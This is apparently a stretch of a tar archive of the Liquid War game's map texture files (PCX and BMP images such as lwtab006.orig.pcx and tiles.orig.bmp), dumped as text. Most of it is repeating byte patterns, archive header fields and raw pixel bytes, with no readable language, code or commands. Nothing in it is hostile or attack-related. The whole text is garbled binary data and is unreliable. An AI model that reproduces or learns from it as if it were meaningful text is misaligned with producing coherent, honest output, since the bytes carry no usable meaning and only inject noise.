r^G_VW\dr^GYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N6:pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZ8;MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEs'}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL.3zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^GYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NV@pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZL   MIIKRPTHEMIIKRPTHEMIIKRPTHEAC7&)47&)47&)4}dacloyeL}dacloyeL}dacloyeLJA2!*89<1 A2!*89<1 A2!*89<1 zgq~tSzgq~tSzgq~tS15A,".5:- A,".5:- A,".5:- sbhv{uQsbhv{uQsbhv{uQ=#36'=#36'=#36'i[]cw|mJi[]cw|mJi[]cw|mJ.3?+?+?+_VW\dr^G_VW\dr^G_VW\dr^G; %; %; %YOUX_k]NYOUX_k]NYOUX_k]N15C0 (/$C0 (/$C0 (/$pY`fnxjZpY`fnxjZpY`fnxjZFCB;>@D@;FCB;>@D@;FCB;>@D@;VHU    K7&)47&)47&)47&)4TATA2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 /A,".5:- A,".5:- A,".5:- A,".5:- =#36'=#36'=#36'=#36'0?+?+?+?+; %; %; %; %-C0 (/$C0 (/$C0 (/$C0 (/$FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;!MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE -3}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)4}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)4J(zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 8;sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'%_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+bYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %"7)pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$FCB;>@D@;FCB;>@D@;W.VMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE 4}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)4}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)4NJMzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 *sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- 9Gi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'J_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %HpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$$2FCB;>@D@;FCB;>@D@;-MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE WhU}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)4}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)4Izgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 VHUsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'8y<_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %37pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$FCB;>@D@;FCB;>@D@;3 8MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE d6}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)4}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)4!'zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 /sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'!_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$FCB;>@D@;FCB;>@D@;MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE      MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE  =?}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)47&)47&)47&)47&)47&)4}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)47&)4Czgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 A2!*89<1 W.Vsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- A,".5:- i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'=#36'=#36'=#36'=#36'=#36'i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'=#36'U(U_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+?+?+?+?+?+_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+?+YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %; %; %; %; %; %YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %; %7;pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$C0 (/$FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;+s0MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL.3zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSCKsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJI_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^GYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N3pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZ/MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEDF}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL1zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tS3 8sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ' -_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^GYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N(%pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZ;>MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL/4zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^GYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZliquidwar-5.6.5/data/maptex/lwtab006.orig.pcx0000664000372000037200000000500213407756104020357 0ustar travistravis O1,,P =<;<= <;::;< ;878; ;987789; :757: ;865654565679; :757: :85787543457876568: :767: :7567:;7532357:;7568; :767: :768 53236 868; :767: :767: ;:964368:9: :768; :767: :767: :87653456768 :768; :767: :767: :7654345458 :768; :767: :767: :754343469 :768; :767: :767: :743434543234569 :768; :767: :767: :632356532356765323569 :767; :767: :767: :632358:96532348:97421258:9:; :757; :767: :767: :6325 63235 52125 < 8657; :767: :767: :632358:8632469: :9:8532358:;:97657; :767: :767: :63234676543458 856765356764676357; :767: :767: :63234565437 735656543234323457: :767: :767: :6323467658 8567642324578: :767: :767: :632368:9: :9:;:753489:;< :768: :7568 853236 64346 9768: :76764323579:97643468:9868: :76543456787654568768: :75434567656768: :765676543467876545678768: :7679:86358:964368:9868: :7568 635 525 968: :767: :97532348:86358:;< :768: :767: 8532357654356789; :768: :767: 634565678; :768: :767: 85676568: :768: :767: :9:8657: :768: :768 646: :768: :76578:86457: :768: :7567657: :768: :7545657: :768: :756778: :768: :76578::< :768: :768 9768: :767: ::9868; :767: 867768; :767: 865568; :767: :986434543454345434568; :7568 632346764346753234676323467568; :756898532348 743237 7532347 84248 868: :754565432358 8532358 854359 84248 :768: 965654343458 843469 976569 843248 :768: :767: 86569 :878: 965459 :878: ;:9:< :9; <;:;:;< ;98: ;:9:; ˻￧㳓ӯǧo_OC7os+[cGW3K#; / liquidwar-5.6.5/data/maptex/charming.orig.bmp0000664000372000037200000020534413407756104020607 0ustar travistravisBM (  Ͼڳղʊ|ܱܯx                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    w L+Ws=cT.6ۚ5`srocַۆv7dzS_&xtYF, ]6Fecliquidwar-5.6.5/data/maptex/tiles.orig.bmp0000664000372000037200000045237413407756104020146 0ustar travistravisBMT(h  !!PJNӻ:10}xud_ը”|ǟȪ̳ԻhG~^qS2wUfƸee                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               2HP                %@                      + E                       FU                          8                       C`                      2                       %@                + E                  8                     FU                   %                        %@                    2                              8                      >PQ                           3                          2                                     %@                                 + E                                        8                                     2F                                     2F                                        2                                          2                                      )<                                    >PQ                                            + E                                             %@                                     2                                2                              2F                             8                              2HP                              %@                           2                        %@                      3                        2F                        3                     2HP                     + E                    %                  )<                 8                C`               2           2       2        8      >PQ       %        2HP    >PQ  2    + E     3    C`   8   2HP   2      8    Og       7-            C`             2F                6        + E                 4              Og               )<                          2HP                 4                       %                      ^i                   %                         Og                            2F                         2F                                   2F                         %                                 Og                              3                                   UXa                              8                                      2                                  ^i                                        %                               Og                                     2                                %@                                     Og                                     3                                      FU                                        8                                      >PQ                                        2F                                           2                                            >PQ                                        7-                                          Og                                           2                                           %@                                                                                    7-                                             FU                                          8                                                   8{J                                        8{J                                            2                                             2F                                          3                                                   8{J                                                                   8                                          + E                                         %@                                         3                        8{J                                       2                              8{J                                                                                            %                                          8{J                                             %                                       FU                                     )<                                )<                                  %@                               %                               UXa                                 2                       %@                               %                          %                                   8{J                      H                                         RY                    !                                         2                        2HP                                   H                     UXa                               6                    8                             %@                     %                       FU                      %                 FU                 2         4                2HP                    6                       UXa                        $.               )<               H                                   8{J         2              H            FU          H       RY     2    !     BP       %    RY    7-      2F  %@       %    RY % 8{J   3    %@   RY      7-      MY     3  %@  BP   %   A@     4   FU       $.    7-  mp       7-      FU     3    %@         RY        7-       A@        )<      $.   *#   3     mp    3       8{J           !       %@       RY      8      A@       8      6    $.       3            RY       2HP     !     8{J     3         RY                2     2HP       2F           )<            2HP         7-       BP                                 + E          8{J           7-      BP         7-        + E             $.        3     8{J         %              8{J         )<     2HP                 7-         BP      >PQ    2F                7-            FU           7-                   )<                2F                  6                    FU                  7-                           8{J                   >PQ                         + E                    8{J                   7-          C`liquidwar-5.6.5/data/maptex/big.orig.bmp0000664000372000037200000102107413407756104017555 0ustar travistravisBM<"(2  !!420>=;EECJKHNPMQTPSVSY^ZVZW_ea\b^bhd4t?_4K)-T;fKX}gokdlhozuv|jso}ƾ                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           